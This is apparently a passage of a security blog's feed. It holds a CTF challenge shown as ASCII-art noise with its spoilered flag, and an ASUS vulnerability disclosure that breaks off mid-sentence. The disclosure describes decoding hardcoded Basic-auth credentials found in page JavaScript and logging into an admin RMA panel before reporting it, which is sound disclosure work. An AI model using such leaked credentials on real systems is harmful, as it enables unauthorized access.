(IVv",!)r:7().?').-!?r`-;.!'i,")vv-!i-;7.v-;:oi.!7(7.!7;;`v;-;.zzw0uO?-",JZ1u?-)''r-(;v`i;?.7!;;v'r,.,'(i'!:,r"r?riv:oo!`7":77.7:v.1jZC1x.r,v7(dU04ywPg22BQEqWA6KNWQQNARAMB6WBpAMHGQGGMAMREmPpmMWEqREgGEBQMHpHpNPGEgNPKGHWmBGQpGgmKApN6RNMMm6QpMGWN6K4Ukskd1xr7:.SLAA9J??::(o:v,?"'.`)'r:vr19xn!o),2hLXRmf2aLUbEpLsyhyyk0(77,'?xzYtIC,:"i"ii!?!;?:(ii)`7o,):.)-i',::)2fwb6Qnz?`i('-XSCu:v!`?)i'"':)).7o?`.i,r9Vu9?!?.IYaLL0SfT42stZro?.zYVz!,';?(:v("-..("`(o.;;;i:')v`);,!-`"!.,7'(.r7(?7(Jjro-,1CnOiri(.:)i`7`o7`)v`.`)r):v.'().(,;o.-))7-?-(o"';;oiv??;):?,!`!`;!).!-`o7;;;,7r;,?v)!!-;v"(v7)o.`v-"7i!r"?"i.r!Oe;?777)eZ?-7!:v!,`!v!)o!?!,v;('-.;i7-.o'o;)"?'o7,;)?.ro(.iv7.-'r,::'v,r;!3j(.):JYsb;vo)zx`!o())r7'o.!"..).!,?rr-:(:(.7)'i(?i:)`'iv-`-'`7`!)JZt1'r.?;;3z0ST4bw4kWNHMMmPRMAqMBmqgBgNMAKMKKAEPBQp6MNNRmPNBBMqWgNmmmHPHGG6BGPERRRPRHHpRMRGHBBQmPHm6BAQKEMNGUbNqwhTXTdv?-)ujU44U'o)??'vi!'!(7v;!7."--`ex1Yr"":hw0X22aSkkSaLX4bhXsT!?-vo!zYVzVx;r'""`r(7).'o'!(!;:7?'(?.``,;r:vnOwS0kkw-o!;-vxZ1Vi7;,vo77'-`v;v.""i,;")r-;`Cn!(r?Ojhh2wdaXy4fe1??',3xuI:v'rv(v(.7;7-(ov)"7`!ov-r;?o';!-"-o`.oirv77!r)`)JO!o,oVeYti"`-(!ov`7o,,..!-(?o':!!;;)-!`"-'"vr)"v''`))!`:o"o,!):`'.``'"`v:;o7.;`o-,`(!i()o."::vv,":?vi7-i!(?:"!v`-7?-,eY,(),,"eVCV7r,:)i-).'o!,):?-?.)o''`v;i7.o-'v7:!:,'?!???):.-v(;-(7r'ir"",!9nun77O1sh";io1V;!v7;)7.,;.`?.i.(o'v.`""..r?v!o(o:i,;r:!`'i,.?ir7.nCfkun)":-ujUafTw2m6wsPmRPPERHBPKmmQQMgpgABHQpQE6WNpEEKHMBW6GHqBqKWHGEMMEppmNPAg6gWgMmHqMRAMqAHHBAKPgPKWNqBgafa00LXk1j),!oXaXyVtrr)7::,''!-rv;o'(o`(r:;"VC()r(I9sS2kwThTXLXUhsTszu(o)7IVOuOJ``:o"!!?,?!-`;7'r'`7.r;!;?;:):'.(vJOXkNQnuo!`-31hTtO'.7(r(`-';o)v?i?r)!i?:):i!3JOu;v1CkwUfwdTThaZ9)`!!je'o.7.iv-o`i7((o''??oo"7)i`(vr7?(-,i`:(.,v)!o"7!.YnIV"vo.Ze93!::(r"`"".7;-o7(,'`?.?r,;o,;'"vo-'rr:i?',;'ooo,i)7i);"o!o7()"-`;).:),((.r-`v:7.';7o-!i"!(o?o)"(7"??-.""v7";oZuZz"?!,Y1n9?,()(o)''.?--?-rv!;7`?.``.(;"?,;i7`vo?"(7;;.:)-;?,:"v"77-o.?);9VSX!o);yTeOivo!,7,,?-("r?`iv?!;.":"o,),r:?(`:v?-:!7'`r!oo`::)7';ozVww11))v:vvSabbybPHXhMgpNEHMMGGWKAgGmMEmAQNPp66BRpNKNBmRHPgBqqAAKE6mKWRHgRMAEEWHpBNNq6mmBpgmWRKB6KBqKqgN6d0RGT2LLhTtJ";I9kULbCY7;-77v7r'7?7o:-i.)i.(i:oJZ`?;:jz0XXwafTTb40wTfCY?r?!z34ddbZYir:;o:"r"!`7r.)v!:o)-rr'v(`:i,,(-742PR4a.(!,`;jO3ui:vr)('!(o77ir`,o)-?)",i)-r"Iz31:`IjfdayT442fs,'7`77JC7)')o.,?",ro))-(,virv,);,'o(.".`v?r?:';'.-rv;o;`eC91"oo7tuJC`v?(:7';".'7),(!o"7``r-v`:v-)o,".'!"!!7o`?!".r;"r-;?',o.(:'?(.o,(;o`!,);.oor;o(v.-v-!,r?.r'"vr':::?:,'.((.(;V19Ooi,?O9tC-v'!i"'oi?!).("??,oo`)-(?r')v"-o!;'i?"(7v,)`,:;?,v,vv);v:r'!,vIYT2r':`XXt1v)v7")ro7!-:!v",`r";'7ii('?i.!!o;!i;(`..o,!"i7!(:.!`!;7;kb4LJu!v-r9zwfX2SkHMQqAHRHPPNRMBBWPNqQK6KPgAWQEBEQNBHEmPqmMKpKHpqKKAWHgKQPHqAmKNGmQHKgNQpBEBH6EAGppPNpQEQMTLLTkyf2r::rV9fytI-:r)vr77r-..:?`'(.`v;!7-7-CO;!7"jYTk2aywyfT40LCZ:.rir`22d4Znv.iv?.vrv.')-,i:iv;'r`!:!r(",'(i-i7-XfK6zZ7;''VCnt`.!,io?!v.,`;`''v?``!:."7!)"7(OjJu;);,0SU0afhktY!vo`?`Cz')iooo)i`-r('o7r?vioi"?::v`:v'.?,-v"rrrv)"-(r!-79xYx:oviZzuu?'!:)v`,o`.7`o'-:'7);."ovr:`r,;)``7!"`rii:'o)v(o:-;)(v'o7?v`7;,(!'``ii..;7o',':'"!`-(o'((((-v`:r"7v.`)---iv:YnxZ;)r-;!OZ.r'?.o-;)'(`7;"r`i`-"-,-r?v-??7'::.`v;)?i.";".:"o.(`-r7?v;`'::o70bYzo;hds2vr(r!'iv"r.;r`?ro;i)7,.)v(-!?-)o``(,)o"7?-":ir".v`)7'r;.Y1ySe9??iv`.s4zxsfgWwLApEPGHMGWqMPRgppQPGBWKBRMMKBpRqgN6AGmm6gGWMqHHPM6QBQKBgBHMBGNmppBRHWAEmggRQGK6pNS4Eq0X2XSwjC(!?.CJkTu3';(;r".v;`io?)7,--;'oi(-:vx9;-i)93UwUaL0fSdhtJ!r!i"-Uw4LJt).!7.o'`(,(o;,;")-".`.;-,`)!)o??Vt(.neggay'7ro":Zjz1r-i)(":)ivv-o(,-v,,,v:!vvi,'o`39uIivo!tOyTTXbk3jv(.:7(ezv.-?.)v?oro;?)`r'7v!?(-.")-:7o',!!()r`o.)'7:.`7ouuYJ;7v;Z1ux?i-),o?.7"-)(v.):r`o?'o,`""vv:"r)7.:'"?`v-)-v,ovro7,'-`".(v;".-`v`.v:i`i:!...;:;i7r""r(r:.,!v`;r,,:(i')7ir-,99I3v?;!'ruz:(7''('r-7i?,ro'-.!,`rr,?)roo;-`::.7()!,."?.':7r")i)`).,r'7:,!ootJtjoieISa'((,(`?-!-"77.i'oi(!)("vv'.`?i.i;--7o`;-:;,7!:.'7ir-o,?:eC4yshz3i!,vu9zIteBmXhmMqqEBPQWpApAgNqRQgEHEgmpPNgMEMHNEgBWWQgKQHPHNAQGPNBNgBgqEMNPHGEmAqAKNApBPEMRMBH4UWPXX4bbXo;`otV3zx1Jn;7.?`!:)v-);-r-r:7'`'"7":.44V1viZj0hn9kkdbad)!"`::LLXb0d?vo.7!o;;:i".!r-,r7,):-''.-:?```,r3u:-tJqQO3"-7'xnC9'("-r7"7!?,ov;.,,7-vroi;)'7v):`!eJen7r)`1e4LLkLk3I),i-It9uo)7'(.-r!:("v(o`r'-)r,vii;";?7o:77.ro,o.)')v",,:eVdUri`vkXhS?((!;"'`v,voi,`".'-;-i:,:ri:,(-'".(-(r(,ir!:;?;?:!'v'ro;?.)?v?.(-!ro.),!(;.:."v,`";`:'".;",!i.,)v-.7.('o'`v";-JV'!"v(iVZ,)."r?))rr:()r":`7-?,!(i;,v-i;?.,?o..r"`;(,i?:.,!-'7''.(!!)?r.":VjOu.!,i0h93!)!7:)ir,.:.,:!,''ir(`-!?!r:),"v"?`?,.'-(i-;''-r?i7-YJ?-ahHEhav,or3zUT3t0hGqSdPKqW6pRKMB6PWMWBKKPMm6QK6qRQQ6gNRRNGPmqKgQPEpqKPqMqWMBKKpgMNmqAm6RAmG6QWQpPPwXMRUd0XTdtY7!?(tefTj9xzZ1)i7!;!-!ovr`,,7iv?(i7;i7ZVVI:!YJfUJVSXaT,:7:.:u9a4k2,`i`v,`7:-ioo)v:(!oi:,:i:r.:r.-i)?i:!)r?sTa0i;"o!,jJ3n":r,-,i7o'i`-7,`?;ir'':.'.v?;;ir.,zj:o`7OeYzXwwUdbi?;.ItZ3;`vr,:(!')ov?r?),;!r?7`.??(7.7`o!,!i?7?(.(o`r)r-IIad'-;'wdXh:,-?,:'?)-7").;:`'i;i:":?',(;ori`i)'`.r-?:-vi`7)('.`)i7-?'.-.ri;''',`,!'o'7(-()-?'";!!r`'!"':?)7,)i),;7o."),7?OZ")(o;:1J;";:(!v;!o?(!.-).!'.,i('rr;,!-r,7).(:)i`:(:o:!,!i:(i'.,;;;`?;?:`OxYn7i!!hf1xriOC`.`'!o7;r7-7).'-,v`;i;?v..oo,r,'ri`,?`;ir`7.,-i.xV?7tzpEHK-:i(`"Jn39jtEQ2U6QHHQqMpPpEMmQqB6MKK6ABBgQgKgBBRWKABEPMRpPGqWBHQWKPmBpRQKAQqpBmGgEgKMqENq6E6bU6RfXTTw01V')o:nYjt31zVj3Y1o,vv.'i,i:."77:-oi-v.ozV3t".CYOeYCkfOVo?.?zJPRwU`:;;i7,-!?7v:`;;?")?,,;,.:;!.(?!io''x3:o"?MgOn-v.,VzJj`?`(r;.'`or:;v,``,()(7)?7`)':i,!?!;'ztnzi?r`tufkbwzZ!;o"zIJI:i"!)7`r;v`?";)?)r,.7.ovv(-o'),;):`v;i);)`'?o!i(Vehw"v;;4LjC`7-v!;:'"7`i?(7.)!(77r"``i-'.:`?:.-,;.);!",,;,i.or(.-),77;7'??v`(v)o'")"v.7r!v(:?-?77').o);?!?`":.oi('`,)).?`.7r?,7:7;9Cex:7(.;,.io)!ii;'r7`:-,ivv)-,;:)o?ovr.('7(:,-,,-;"v:,?!:)".(,;-'COuC?,!;x1Sy!o.rxZ!7v:`)ri';o7!'r`,'or"`i.)(i,7-(v((r:-"7`o;7!.:v(?o?!kapp39`7,"VntZIn0sI1MWMPPmWAHEgE66pgNENgmgWWRqEmBKpKqEEMGHW6KMPK6ERHgPMNPAGRKHBBNBGmpqQHARg6g6UyER4wXdsyCJi77reILdtCn9IVe1jJuC-?o"???)ri;r`r7'i"-(Vjn9r(-"VZtO3x(`"ro`fXNgCe.`i-"!;`!(("v";;;`i(r"r`7"!i7)!,):7?et?,xxks(?;o1IwwOe,!`r')o,,:r.!:,o:o!`;v,:o;;ii.)("".iZe317'r'uxbabfa0:!))9nab,o?`.v.i(v?.-'r:,,`7;?(-3Cir!`!:;r?',!:r7`7'v,;"i(Zj7(ornne9zCI3exn9JeOu)."i`?.;)i.v,);?)"o!,.o`v-!v-)(!'()`,!?;,?"?"i7?""!o`':"-"i:'("!```7.;.`vi(,?,r-)(-7riv"(.7?o?'?7"'-7o;",,tIIu:-!`;.o);`(,r;'(!`!(-7,!.o!('(,7vr`()?`!-""o(;:)("r"),,`-!;v!7.?IYtj7iYZU2ZJ!'u3-'ro.v`:?r,o'!"!r;,)'r"7"7:,`v)7!rr7"`-)`)(v;7"r:7?.CtYz1Y:,7'1C1Y39TfWN22BqWQRHNgMApqHpEPgMgqAgPp6MqMmBqPAKAQQKpBWNWRRQpNmBNHBBHp6mGWEHgpNRGMWA66wdMNOOOtb2OO!-rraTw4t1J9uV9uVuC1z1nz)v-v;;"()!)!:)-7z3zjv)??h0eV`o(-o:3nPPJj7;?:":';(.):!o'?:7?;i-r"o.r!?`;"-!i)rvet!vf0J1,77)J3J3`----'?)v'!(io7`!iOj?i,o(-):'vi`??)().exZZ7?;"OjL4L2k4;ro7nntV:,-r,v7:;-r;(vi;i7:"-"yTnx()'v?:o!`.:7rv)()?!`,o?-"!?''-'`?.7!!;-;,!rr?rtu)(aX9Co)o:.r:"'(o');:v;7.7iv2fZJ7i:"7!?o'("?7"!?ee-;"r7"rv:,(?r."o'-;-(("--r'`'(?-,:?7",!!!??:)(`:?7:`!"IjCYoivv,)"?!".""(orio`7(`njrv:')-i)'.irro!)`7ZJ"!!o!!"'';"io:"""v--ZYnu.rr"hfdh'??v:v`-"7v!':viv-r-):?,":o'(7":i?7,uO`-o7OZi`,;?oo',,!(!vi,`,!').)"unt33Y6NXTWmRMR6GGpWQMBAmGANqGgAABNgKq6pGgpRNggpW6RH6RRpMRWRRKQBmRmAHB6M6PGgNK6HMmh49xh0Uw1x;.).YtaT4XYYIe9u3nu9IZenYjOY?!'.'i.;;ii;7vInjV7-.`Ct-vo:-7IVTbkX77:.;,'(;?,!.)7i!);oi`o--v-`;?`(!?,:;'xZ(i'iTy-r,)eY4XOV"(v)r;`"vv`7:)(:".jJtV!"'o"v(,)))``v:'CZdh."o!nJs4TfXSnJ-;jOeI;!-`r7iv"`:`,-o!!(ivjeVO7o'"i).r9CLXIOZYYzjjj9nOnjOI:;.i1YO9nV3ZjxYCCnzC9evv22d4)r.?''`!!(ri:rv.""r;z9U4,)(;eztVVnf0Vu()rra01O!(??`.v.;7i(7-(r":.:7rJJeI7"!ii,VIjxtIZOx3neej():7"?Je1C.o'?.:o,`,ov77),","vJ3C3-'.o;i9YjeICafjz;"9u';'i!:"--?"o),?7",,,uC1ur?v)2LpEtIo!o?;;7.)::`;!7;`((!i7v!-o!`Zj(-CjIY,`uuOx"(19u3JxZ1j11nuJZ3YOVei.CzV3OnwkRBpQ6NWPNRqRMNWHWMRBAQE6pNBB6K6MKQmg6QEgmpPQPERRgNKp6qWmqWpEBAAMBgQQNKWAwdGM1Y1Oa43zr"r;ySUU0sZCOVY1ZjCnutzjZCuxxJI1zu`:,?7`7oOewy:,!:v?o?ritz1Znu,v.'??-'vi))-`((?;-r"7,)i!(iv7-:o,!.;i);x1?.i:ZY77v:dTxZ(-77,ri)?,)!,v:`(r)!''z9`()"'`;r"."r';:vZJEBVI.:u1TywUOCYt;)'vZY'-;-::,`()'",!"r)-`vnuSh!vo-io.'IIh41eje91Zx1uexs2OC1Z1ChaTTY9Oxtn02kfYICO!-aXfd"?!'`(r:.;')vor:i(r!;'ff`"?i4TTfKNqHZu'?7idy1Vir`,'"-"r-::"!!i)'.-""1YjO.r,-9euxeJJzz1Iuxn42yf,o`:OeT4j9"-.;;:`??;i7?"'`"io,juuz.(viOIxYYY0La4".;(9u``)`-r;,7((v,;vr,!CexC3OviuYQgdw7:ro':?;vi`io)-,!"'.,o.rvojx1CYzjVuj'):;Ce3eskxthkj3JJ1Of0bkShfhaUdXnuJOYngPIuABqA6PgGM6PQMRK6G6qNAAWREAKHHNQMqHpHgWmgPQNmqgQMNmmmBqmBNGEWqRHMpgpgTSO9x3e3Shr';v9tbdd2Ve9jCYZVJuujzjYujIznInIzYeeV,;ZC)"OZUd)v7.o'(!orZttOtn)-i!-:,"`:',v'."(-`),;(7i.)-v'!!v-7)`r((9n,;)!.r,;n3df3Yv?(".o)(r",,.:'rio7.)'C1!`7!v?-,.!"-(`,`9IfwOO7(nt9Cabu9eZ77!v1z1u)o(r!("-?`";(',-?`13g6uY::),I1eeaUafVZetJIO31VVYOznjksS0zZItOnVCxZZeVjY9eJO9X0(v'rrr`i:7-..("'`r!'7iffv,r)k20UhLIjnui'o:bhxV.:o),',!-vv.-:.()7ror7VYYtro-"wynZOCbduIThkkTd13t9VV:;049V:!,ri?i)"i!v`v(7'.)-JIIj.?!)n3fk0XztO3JZ',9e,:`;,?r7`"r!v(.-!`xuysxO,"ttmNbXeu(-:')!!!!)'i`-)!'v`,YC1ZVx3jJCVuuxhX(:o,C32sCu9Oz99CYuOJCVxZuYeYhL0dVx3jMPZIqWgqHmAAGB66GNRMWgRRWEWmNHApMQBqBRH6gmWQmG6pNGEEH6HRKEQGW6NQWKBgHNy0APOetj44Y3,`(;yLhkbf3jtI1JxCZCzjCOV9juj3n9zYInJOxztz!i1C0X(v(;v-r'jY3tzj((11!o;o(.?:i'7""i))',r:(i.o!rv(!??7ro(`tzz3r;-(.7tza0Ua.).!?,:!.7;`)(.oo,:r7:!!CCCY`!))7o,!`,)o-i!ik4OO?-"'dyafOuj1xu!vztOn')7-``77r"`-';:-r"7,J9yy"?i!3uUh1jShPPaLXXXkhbyTzj);hX2k4UssTsbTSfjCJ9Zn99uzahrv`"!"'"`;:i;i,?i))vr'nxuC.)hks2UUJz3j;"-,jtOz,'.?'::.r;r;i'!?":o(:.")xC(,(.XXTkdTf20aRHUUOZxI(rCx.)ykSLi7',--i"v''ior!""'r`tuxx,!o?wwGmMQhy1ttCrrIx`!r`)?rr.7)v""io7.,oSkXfOJ7,XhbdVI9n.r-,YCu17!r`,,.'Vxuuzu3nuIJVOIswfyTdo'o?JC0LPWWgEQWEda2TUTfLwa00TbI3JO44tuwTmBqGEHgWAWmgWP6KNWB66WBKPPGApqpNEMNAPgKBEmMmGGqHmpBAPqPgNmBARGRmwbZVOIYCdaYn:-ZOsb4SyTtJJzJn3IYj3CuIJOCCzV1VzY9VYuZt3Jn93ILdZ1!)`.uZtZIJ)!zn33Iti::r:-':7!`.-i(o`(?"ooi7!'"vv;?i,'C3ux`'r:;(JtSsjVo`r-,;!:i;':(o`r7!r"or?i9nZnr":`,,`o(o7?r?v,IV3jo..-sdShX4TLItv::(jYtV"'-?)!,vi.;v?)v.o(?iZxx3:.r:ZtSLGqmHBNKERNLT0dya4ybhTwk0bSfTfLdb1tjZtCIuxeu1.!;?.(r,io,?)'o.,o".7oCjZe.,V9dkaTeIY1tI"7uZxj;r?-v:rvo)or:i?!)"o-,;"ru9v(;v?;?(:,vv.)'7ro'7?7O3CY!'VCUa;v?`7`7??"'``r;,"rrr',1x):,(f2gRNmmBdb?o-.IVCz"!!(!:'":'o-):u3orSbHHjY:(dT4h1jBMY3)';'ZOx9iin3e9zejtItIVIOuC9esdLs0UOt(io?ZOBRRPqKNNKK24XTUXd2LXakSa3J91HEUdEGQNQKNMBHHAQMpNq6RGmKARPqKqRpmNBmPGgQRQHBEWBRgKgPmGQHgpg6HBRAzCNAYzVt3CJnZtvojJabSLeOZzY3ezY3jYCCZxJzuJu1eeej1jttZVnO3ZeCwhVZo.VZzVVI;rOeOZjC3u1xIjIj3V(::'r-"(o!``i"`;r"'.`!r";oeIjxIY-:uCdbTs7)?i,,7!!iv7-?'7"r,.()-?"(znue7'!,,('``r,;'):oI3jVte,!e1yUyaLT3u3O;.7'zu,;,",))r-"('rvi)ii`""'Yuze:o?(y0GBGAQWRmBR4S0L02LSUa4U0T0bwSbLhUt9xjZ3OuuY1t,i'"(('`(,);7`r,(('":'VtzY!,9ns2XUx1ZCjj-;Z9uVo;v(;o,7)`"r.(r7.`"`-,v"XU9zv?-'!i)":)-(()`?1eJt0hJz."jz11"i!'orr(?;!;v`,'zni?)ox1xevr'(VYZJxz;r('rvItnI7;j1Zxtj7)oo,:99.)1YpNUU")9ZNQdk0ab4Ye;(-oe99ZuCYnVnZCJCZn31e9C1JIyL2dtCVj::-v?!k06gBqTTfSTSawk2SafwdyZVeCICNA2yGpmQRPRHmA6N66R6gPpqANNRWMRqGWWAMPRKQQppNRKPpAHNPmPRpGKMBMBRyXLfZzt13Oe3i!::0yLhsdxOY9e1n3ut1uIeeOC13ZOn91OV3IJYxnzJV3jeS4ut-!xIjx`7O1Y1I3IVexCjjC99utOJVYjJne?-VzYY,ro"orIzv,Vetx,.o:i`un9n1I'?)i-,?`i(xzo?v;`7i.v-,!'`nItVJtjuejzJe3nxJO)iY11tZV:!jzsf04hsa01t':.rJ33J'"Ox;ov.o:)i...:)";rV1Ox"!:(-;fSNHRGEpMG4wd4kfSdhXUwL22Ua2L0dbeezj(:xV99Zjv;i",o`!?)."(7;(!,?,7'YIo);?xCf0L4ZO1I1t-`VzC3);rriv-.(:;-r?v)7!oo77:?k4QKS4bUx1CxOnInVjnCtZXssL93voeJxYCz?)r,`-uIIOJ3uJZVv',`x1xI-.";(;;`:,.7-;I3JnYuIJxVeCC9Y3ZYtjuI1u9uQQPHOZu1BNpqyUaTLS91o!"vOjuV9unx9jI19V3InzZu93Iufk4f1VZ1VVr;ridkEByfbabdLLwdLTyyJjnInjsfBPhwWpMRNHgGPmGQEHBMEgNAm6KHNBPKm6RMNBBAEMAGgmpABBPKW6HGWEWmgNhyQmOIxCI91Y3JirCzteshTUkyfybfzZIutItnZIOzVVVZee1nuJ9319J39C1VayTk3V3n!",7O3uInVOJuYnnzO3Jn1CxO9eY3ZJjxt93J9YCIOuCrv1xZZ:v`i!7VYzuntCeCnC1CZn3OxxJi,n1,):!.i`.tuOY1zjxVJ9tYVVOC9-,",uIVJ;'CJswShyw2dfXIx:7ujVxOJVtVnOYVZtt3jzZCY3z("uZIZ(;,`Yu2kQNKHpET0SXyyfUaXfSyTwUwkLybszu9tv-"?zIOO-),("7:.;(v,-o,o"'!,-`zIJx`rzjTLkLnJn3tC`;-.33;v':iv7oi.-)?"r!(,r`(:)"99jIZOOjJ3OCVnxJjxVCZzxOd4Ie)vnI9eC11YnxxjOezYz3jYeu9Ji!Yu4s`voi`rZY1tOuZCJY9Y9YVzxuCxC1Vn3VeZYeOu13hTpQen-?SkNggHsTIx42zt!,:oItnz3jCjujVYeeen1VZuxZnJUTySCn2k9I::r,X2MQ20dXsadsT0U2Ju9JInpmyhHEEWPWmRBAgKBBqAMMPBKPRBBqMMmKABAKpKBmBRAKEgNWpgREGmMHQHpBNWtumqOCt3tjCO(7),xO1ZbwaT3II1Uh2UeIj1OVtYCOuuYYYeVntxV1IZ9Jx9JIaSfw9xv`-;IZIuYIzIJIJ1VCZuYI1zOnO31nZzYjxY1z1j9ZjYz3tCz3Jnvi:,uez33JOCVxt19IV9xjOVJVuZZjr!9Ve3'7ezIJC19VzzOJZVCIzCn3V3te3V)7ueHp4s4wUSSdVJ(vo)YYxInZ9JYzVYenJVu3ZxOteeZxu1nx"-'rnnXkAR6NXd2XLXLT2TLbXfdSU00ySX1uCt:o)!juY9v"o.(-.-;:(7)v:o7;-!?v9V3n?oCuVZY1nYsbJZo,(?3VJYtYnzC3'?IV(',?'')`:)`!!,).,i';,-CV3Z1t-)IJ9JItawIJ-?91xYYuzCujY9OZjzOVCnZZOOo.z9yw1V11xVwLPPmQhae3utIZI39I19YZueZ3znjYnV9VhwAmxn):kwKggpPMahOjssTw!)o;tZ93jInIeYuuYYVz91teZ3JzywkanY20jtv.?;YOh4a44kfLw0UwjYOzz9UUC3KWggQmHEQMBMgEP6qEAMWAHQWPBpAMQKBmGAPmHGmgQQWpBBpmW6</textarea><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>Is that some ASCII art?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Solving Find the Flag    </div>    <div class='spoiler-content'>        <p>Copying the text and pasting it into a text editor and then zooming out revealed that there is some ASCII art:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/txt.png" alt="He-Man and Masters"><span class="caption">He-Man and Masters</span></div><div style="clear:both;"></div><p>During the CTF that was as far as we got. He-man and Masters was not the flag. After the CTF was over the organizers said they found an app which enables encoding a message into an image and then generating ASCII art as the output. This <a href="http://pictureworthsthousandwords.appspot.com/">picturesworththousandwords</a> was the app they were talking about. After decoding the text we get: <code>The Flag IS: YoU_Will_NEvEr_FinD_TH1S</code></p>    </div></div><p>That’s all for now! I must say I really enjoyed my time at BSides Ottawa this year and can’t wait for next year! Huge shoutout to Some Random Name for building this CTF!</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Last thursday and friday I had the chance to participate in my first professional level CTF at BSides Ottawa. Hopeless.carleton, the team I was on, came second overall with a remarkable 3600 points!&lt;/p&gt;</summary>
    
    
    
    <category term="events" scheme="https://blog.fletchto99.com/categories/events/"/>
    
    
    <category term="whitehat" scheme="https://blog.fletchto99.com/tags/whitehat/"/>
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
    <category term="technical" scheme="https://blog.fletchto99.com/tags/technical/"/>
    
  </entry>
  
  <entry>
    <title>ASUS broken API authentication</title>
    <link href="https://blog.fletchto99.com/2016/september/asus-disclosure/"/>
    <id>https://blog.fletchto99.com/2016/september/asus-disclosure/</id>
    <published>2016-09-05T07:00:00.000Z</published>
    <updated>2022-12-19T05:18:08.388Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/september/asus-disclosure/banner.png" alt=""></div><div style="clear:both;"></div><p>So this is my first public disclosure… I can’t believe I found this.</p><p>About 3 months ago a component on my motherboard broke, so off I went to contact ASUS for an RMA only to find out that their RMA authentication mechanism was broken, badly. It all started after a google search for ASUS’ RMA page which brought me to the typical form asking for the usual RMA information including your name, product and serial numbers. Lastly your need to fill out a verification code to prevent spambots. After completely filling out this form I pressed the submit button…. and nothing happens. So I scroll up &amp; down to confirming that all fields were filled in properly. After verifying the integrity of the data I had entered I press submit again and once again nothing happens.</p><p>So off to the network inspector I go in chrome. It appears that the request is failing with a 500 response code. So as a developer my instinct was to see what ASUS does to handle invalid responses, do they just ignore them and not notify the user? So I hop on over to the sources tab only to be completely shocked about what I was going to see!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/september/asus-disclosure/1.png" title="AJAX code snippet... usernameAndPassword?" data-caption="AJAX code snippet... usernameAndPassword?" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/september/asus-disclosure/1.png" alt="AJAX code snippet... usernameAndPassword?"></a><span class="caption">AJAX code snippet... usernameAndPassword?</span></div><div style="clear:both;"></div><p>After inspecting the code I was most certainly not logged in, so there’s no way ASUS can be serving me up a custom page with my credentials hardcoded into the page. Now perhaps this was just an oversight on my part and there is a comment above the code, maybe it clarifies the use of this <code>usernameAndPassword</code> variable. So off to google translate I go.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/september/asus-disclosure/2.png" title="Translation of comment" data-caption="Translation of comment" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/september/asus-disclosure/2.png" alt="Translation of comment"></a><span class="caption">Translation of comment</span></div><div style="clear:both;"></div><p>Nope, not really useful. So far we know that there is a <code>usernameAndPassword</code> hardcoded value which is being set as an authorization header for an API call. The variable was in the format of <code>var usernameAndPassword = &#39;Authorization: Basic c29tZVVzZXI6c29tZVBhc3M=&#39;</code> (note the value has been changed) and this is being posted to all API endpoints. After some basic analysis and understanding how basic authentication works we can determine that the value is actually just the base64 encoded credentials for whatever account this is. This data is <strong>NOT</strong> encrypted nor hashed and can easily be reversed by <a href="http://base64decode.net/">decoding the base64</a> string.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/september/asus-disclosure/3.png" title="Decoding base64 encoded data" data-caption="Decoding base64 encoded data" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/september/asus-disclosure/3.png" alt="Decoding base64 encoded data"></a><span class="caption">Decoding base64 encoded data</span></div><div style="clear:both;"></div><p> So surly this is just some low level account that <em>isn’t</em> really necessary and doesn’t have any access… fingers crossed. So after some simple research I was able to find the pretty login page to the RMA system by going to the root of the API. No complex URL fuzzing required, it was found in about 30 seconds. <em>Side note: Shouldn’t this kind of login page be only accessible internally?</em></p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/september/asus-disclosure/4.png" title="Pretty login page for ASUS RMA system" data-caption="Pretty login page for ASUS RMA system" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/september/asus-disclosure/4.png" alt="Pretty login page for ASUS RMA system"></a><span class="caption">Pretty login page for ASUS RMA system</span></div><div style="clear:both;"></div><p> So far we have some login credentials and a login page. The last step is to actually check if the page accepts the credentials and where it brings you. And tada I’m in. So at this point I’m freaking out panicking to find the logout button and get this reported ASAP. From my brief 5 seconds in the system it appears that the account was not only valid but also an administrator account.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/september/asus-disclosure/5.png" title="Holy crap, we're in boys!" data-caption="Holy crap, we're in boys!" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/september/asus-disclosure/5.png" alt="Holy crap, we're in boys!"></a><span class="caption">Holy crap, we're in boys!</span></div><div style="clear:both;"></div><p>Ok so now that I’ve found this I needed to report it. Before I send it off I do a little bit more information gathering determining that there are a total of 3 forms which have this information hardcoded within. After gathering all of the above information and taking the relevant screenshots I put together a report to send ASUS… only where do I send it to? ASUS doesn’t have a fancy whitehat program like most tech giants so I had to search for a secure way to contact them. After a while of looking I came across one line in their privacy policy stating if a technical vulnerability is found I should email <a href="mailto:privacy@asus.com">privacy@asus.com</a>. So I sent them a report with all of the required information.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2016/september/asus-disclosure/6.png" title="Privacy policy statement - No whitehat" data-caption="Privacy policy statement - No whitehat" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/september/asus-disclosure/6.png" alt="Privacy policy statement - No whitehat"></a><span class="caption">Privacy policy statement - No whitehat</span></div><div style="clear:both;"></div><p>On July 13th I sent the email off to ASUS containing the required information. On the 14th I noticed that they have removed the affected lines of code on 2&#x2F;3 forms. Later that night they reply in a one line email saying thank you and that the issue has been resolved. I reply to ASUS notifying them that only 2 of the 3 affected URLs have been 